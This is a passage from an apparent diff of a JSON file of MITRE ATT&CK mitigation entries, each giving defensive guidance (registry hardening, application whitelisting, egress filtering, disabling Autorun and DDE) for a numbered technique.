[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000 (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.", + "value": "File System Permissions Weakness Mitigation - T1044", + "uuid": "1022138b-497c-40e6-b53a-13351cbd4090", + "meta": { + "external_id": "T1044" + } + }, + { + "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Service Execution Mitigation - T1035", + "uuid": "d5dce4b9-f1fa-4c03-aff9-ce177246cb64", + "meta": { + "external_id": "T1035" + } + }, + { + "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.", + "value": "Setuid and Setgid Mitigation - T1166", + "uuid": "073cc04d-ac46-4f5a-85d7-83a91ecd6a19", + "meta": { + "external_id": "T1166" + } + }, + { + "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.", + "value": "Trap Mitigation - T1154", + "uuid": "809b79cd-be78-4597-88d1-5496d1d9993a", + "meta": { + "external_id": "T1154" + } + }, + { + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", + "value": "Communication Through Removable Media Mitigation - T1092", + "uuid": "b8d57b16-d8e2-428c-a645-1083795b3445", + "meta": { + "external_id": "T1092" + } + }, + { + "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Two-Factor Authentication Interception Mitigation - T1111", + "uuid": "e8d22ec6-2236-48de-954b-974d17492782", + "meta": { + "external_id": "T1111" + } + }, + { + "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)", + "value": "LSASS Driver Mitigation - T1177", + "uuid": "7a6e5ca3-562f-4185-a323-f3b62b5b2e6b", + "meta": { + "external_id": "T1177" + } + }, + { + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Standard Non-Application Layer Protocol Mitigation - T1095", + "uuid": "399d9038-b100-43ef-b28d-a5065106b935", + "meta": { + "external_id": "T1095" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Data Transfer Size Limits Mitigation - T1030", + "uuid": "ba06d68a-4891-4eb5-b634-152e05ec60ee", + "meta": { + "external_id": "T1030" + } + }, + { + "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "value": "AppInit DLLs Mitigation - T1103", + "uuid": "10571bf2-8073-4edf-a71c-23bad225532e", + "meta": { + "external_id": "T1103" + } + }, + { + "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "value": "InstallUtil Mitigation - T1118", + "uuid": "ec418d1b-4963-439f-b055-f914737ef362", + "meta": { + "external_id": "T1118" + } + }, + { + "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Shortcut Modification Mitigation - T1023", + "uuid": "a13e35cc-8c90-4d77-a965-5461042c1612", + "meta": { + "external_id": "T1023" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Custom Command and Control Protocol Mitigation - T1094", + "uuid": "f3d0c735-330f-43c2-8e8e-51bcfa51e8c3", + "meta": { + "external_id": "T1094" + } + }, + { + "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Automated Exfiltration Mitigation - T1020", + "uuid": "2497ac92-e751-4391-82c6-1b86e34d0294", + "meta": { + "external_id": "T1020" + } + }, + { + "description": "Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.\n\nLeverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): \n* Uniquely Identify Supply Chain Elements, Processes, and Actors\n* Limit Access and Exposure within the Supply Chain\n* Establish and Maintain the Provenance of Elements, Processes, Tools, and Data\n* Share Information within Strict Limits\n* Perform SCRM Awareness and Training\n* Use Defensive Design for Systems, Elements, and Processes\n* Perform Continuous Integrator Review\n* Strengthen Delivery Mechanisms\n* Assure Sustainment Activities and Processes\n* Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle", + "value": "Supply Chain Compromise Mitigation - T1195", + "uuid": "97d8eadb-0459-4c1d-bf1a-e053bd75df61", + "meta": { + "external_id": "T1195" + } + }, + { + "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Change Default File Association Mitigation - T1042", + "uuid": "d7c49196-b40e-42bc-8eed-b803113692ed", + "meta": { + "external_id": "T1042" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Peripheral Device Discovery Mitigation - T1120", + "uuid": "1881da33-fdf2-4eea-afd0-e04caf9c000f", + "meta": { + "external_id": "T1120" + } + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.\n\nRestrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.\n\nIndex known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.\n\nConsider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)", + "value": "Control Panel Items Mitigation - T1196", + "uuid": "3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef", + "meta": { + "external_id": "T1196" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Standard Application Layer Protocol Mitigation - T1071", + "uuid": "addb3703-5a59-4461-9bcd-7e2b5d4e92a0", + "meta": { + "external_id": "T1071" + } + }, + { + "description": "Prevent users from changing the HISTCONTROL environment variable (Citation: Securing bash history). Also, make sure that the HISTCONTROL environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.", + "value": "HISTCONTROL Mitigation - T1148", + "uuid": "03c0c586-50ed-45a7-95f4-f496d7eb5330", + "meta": { + "external_id": "T1148" + } + }, + { + "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of Valid Accounts.", + "value": "Input Capture Mitigation - T1056", + "uuid": "da8a87d2-946d-4c34-9a30-709058b98996", + "meta": { + "external_id": "T1056" + } + }, + { + "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).", + "value": "Login Item Mitigation - T1162", + "uuid": "06824aa2-94a5-474c-97f6-57c2e983d885", + "meta": { + "external_id": "T1162" + } + }, + { + "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "value": "Security Support Provider Mitigation - T1101", + "uuid": "9e57c770-5a39-49a2-bb91-253ba629e3ac", + "meta": { + "external_id": "T1101" + } + }, + { + "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)", + "value": "SSH Hijacking Mitigation - T1184", + "uuid": "41cff8e9-fd05-408e-b3d5-d98c54c20bcf", + "meta": { + "external_id": "T1184" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Process Discovery Mitigation - T1057", + "uuid": "f6469191-1814-4dbe-a081-2a6daf83a10b", + "meta": { + "external_id": "T1057" + } + }, + { + "description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.\n\nNetwork intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.\n\nUse application whitelisting to mitigate use of and installation of unapproved software.", + "value": "Remote Access Tools Mitigation - T1219", + "uuid": "af093bc8-7b59-4e2a-9da8-8e839b4c50c6", + "meta": { + "external_id": "T1219" + } + }, + { + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Replication Through Removable Media Mitigation - T1091", + "uuid": "effb83a0-ead1-4b36-b7f6-b7bdf9c4616e", + "meta": { + "external_id": "T1091" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Scheduled Transfer Mitigation - T1029", + "uuid": "1c0711c8-2a73-48a1-893d-ff88bcd23824", + "meta": { + "external_id": "T1029" + } + }, + { + "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.", + "value": "Hypervisor Mitigation - T1062", + "uuid": "2c3ce852-06a2-40ee-8fe6-086f6402a739", + "meta": { + "external_id": "T1062" + } + }, + { + "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through Input Capture and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through Brute Force techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Automated Collection Mitigation - T1119", + "uuid": "8bd1ae32-a686-48f4-a6f8-470287f76152", + "meta": { + "external_id": "T1119" + } + }, + { + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", + "value": "Exfiltration Over Physical Medium Mitigation - T1052", + "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145", + "meta": { + "external_id": "T1052" + } + }, + { + "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", + "value": "Application Shimming Mitigation - T1138", + "uuid": "cfc2d2fc-14ff-495f-bd99-585be47b804f", + "meta": { + "external_id": "T1138" + } + }, + { + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.", + "value": "Local Job Scheduling Mitigation - T1168", + "uuid": "c47a9b55-8f61-4b82-b833-1db6242c754e", + "meta": { + "external_id": "T1168" + } + }, + { + "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", + "value": "Hidden Files and Directories Mitigation - T1158", + "uuid": "84d633a4-dd93-40ca-8510-40238c021931", + "meta": { + "external_id": "T1158" + } + }, + { + "description": "Prevent files from having a trailing space after the extension.", + "value": "Space after Filename Mitigation - T1151", + "uuid": "02f0f92a-0a51-4c94-9bda-6437b9a93f22", + "meta": { + "external_id": "T1151" + } + }, + { + "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)", + "value": "Office Application Startup Mitigation - T1137", + "uuid": "8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea", + "meta": { + "external_id": "T1137" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Data Encoding Mitigation - T1132", + "uuid": "fcbe8424-eb3e-4794-b76d-e743f5a49b8b", + "meta": { + "external_id": "T1132" + } + }, + { + "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", + "value": "Source Mitigation - T1153", + "uuid": "5391ece4-8866-415d-9b5e-8dc5944f612a", + "meta": { + "external_id": "T1153" + } + }, + { + "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.", + "value": "DLL Side-Loading Mitigation - T1073", + "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908", + "meta": { + "external_id": "T1073" + } + }, + { + "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.", + "value": "Launchctl Mitigation - T1152", + "uuid": "e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc", + "meta": { + "external_id": "T1152" + } + }, + { + "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Rootkit Mitigation - T1014", + "uuid": "95ddb356-7ba0-4bd9-a889-247262b8946f", + "meta": { + "external_id": "T1014" + } + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", + "value": "DCShadow Mitigation - T1207", + "uuid": "b70627f7-3b43-4c6f-8fc0-c918c41f8f72", + "meta": { + "external_id": "T1207" + } + }, + { + "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through Service Registry Permissions Weakness. Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Modify Registry Mitigation - T1112", + "uuid": "ed202147-4026-4330-b5bd-1e8dfa8cf7cc", + "meta": { + "external_id": "T1112" + } + }, + { + "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "System Time Discovery Mitigation - T1124", + "uuid": "82d8e990-c901-4aed-8596-cc002e7eb307", + "meta": { + "external_id": "T1124" + } + }, + { + "description": "Application Isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may may be used to limit exposure of applications.\n\nSegment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.\n\nUse secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.\n\nRegularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.", + "value": "Exploit Public-Facing Application Mitigation - T1190", + "uuid": "65da1eb6-d35d-4853-b280-98a76c0aef53", + "meta": { + "external_id": "T1190" + } + }, + { + "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "value": "AppCert DLLs Mitigation - T1182", + "uuid": "95c29444-49f9-49f7-8b20-bcd68d8fcaa6", + "meta": { + "external_id": "T1182" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "System Network Connections Discovery Mitigation - T1049", + "uuid": "c1676218-c16a-41c9-8f7a-023779916e39", + "meta": { + "external_id": "T1049" + } + }, + { + "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)\n\nEnsure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)\n\nOn Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)", + "value": "Dynamic Data Exchange Mitigation - T1173", + "uuid": "80c91478-ac87-434f-bee7-11f37aec4d74", + "meta": { + "external_id": "T1173" + } + }, + { + "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic.", + "value": "LLMNR/NBT-NS Poisoning Mitigation - T1171", + "uuid": "54246e2e-683f-4bf2-be4c-d7d5a60e7d22", + "meta": { + "external_id": "T1171" + } + }, + { + "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Screen Capture Mitigation - T1113", + "uuid": "51b37302-b844-4c08-ac98-ae6955ed1f55", + "meta": { + "external_id": "T1113" + } + }, + { + "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Windows Admin Shares Mitigation - T1077", + "uuid": "308855d1-078b-47ad-8d2a-8f9b2713ffb5", + "meta": { + "external_id": "T1077" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Deobfuscate/Decode Files or Information Mitigation - T1140", + "uuid": "d01f473f-3cdc-4867-9e55-1de9cf1986f0", + "meta": { + "external_id": "T1140" + } + }, + { + "description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.\n\nUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.", + "value": "Exploitation of Remote Services Mitigation - T1210", + "uuid": "14b63e6b-7531-4476-9e60-02cc5db48b62", + "meta": { + "external_id": "T1210" + } + }, + { + "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).", + "value": "Clear Command History Mitigation - T1146", + "uuid": "3e7018e9-7389-48e7-9208-0bdbcbba9483", + "meta": { + "external_id": "T1146" + } + }, + { + "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "value": "Modify Existing Service Mitigation - T1031", + "uuid": "fe0aeb41-1a51-4152-8467-628256ea6adf", + "meta": { + "external_id": "T1031" + } + }, + { + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", + "value": "Exploitation for Credential Access Mitigation - T1212", + "uuid": "06160d81-62be-46e5-aa37-4b9c645ffa31", + "meta": { + "external_id": "T1212" + } + }, + { + "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.", + "value": "Trusted Relationship Mitigation - T1199", + "uuid": 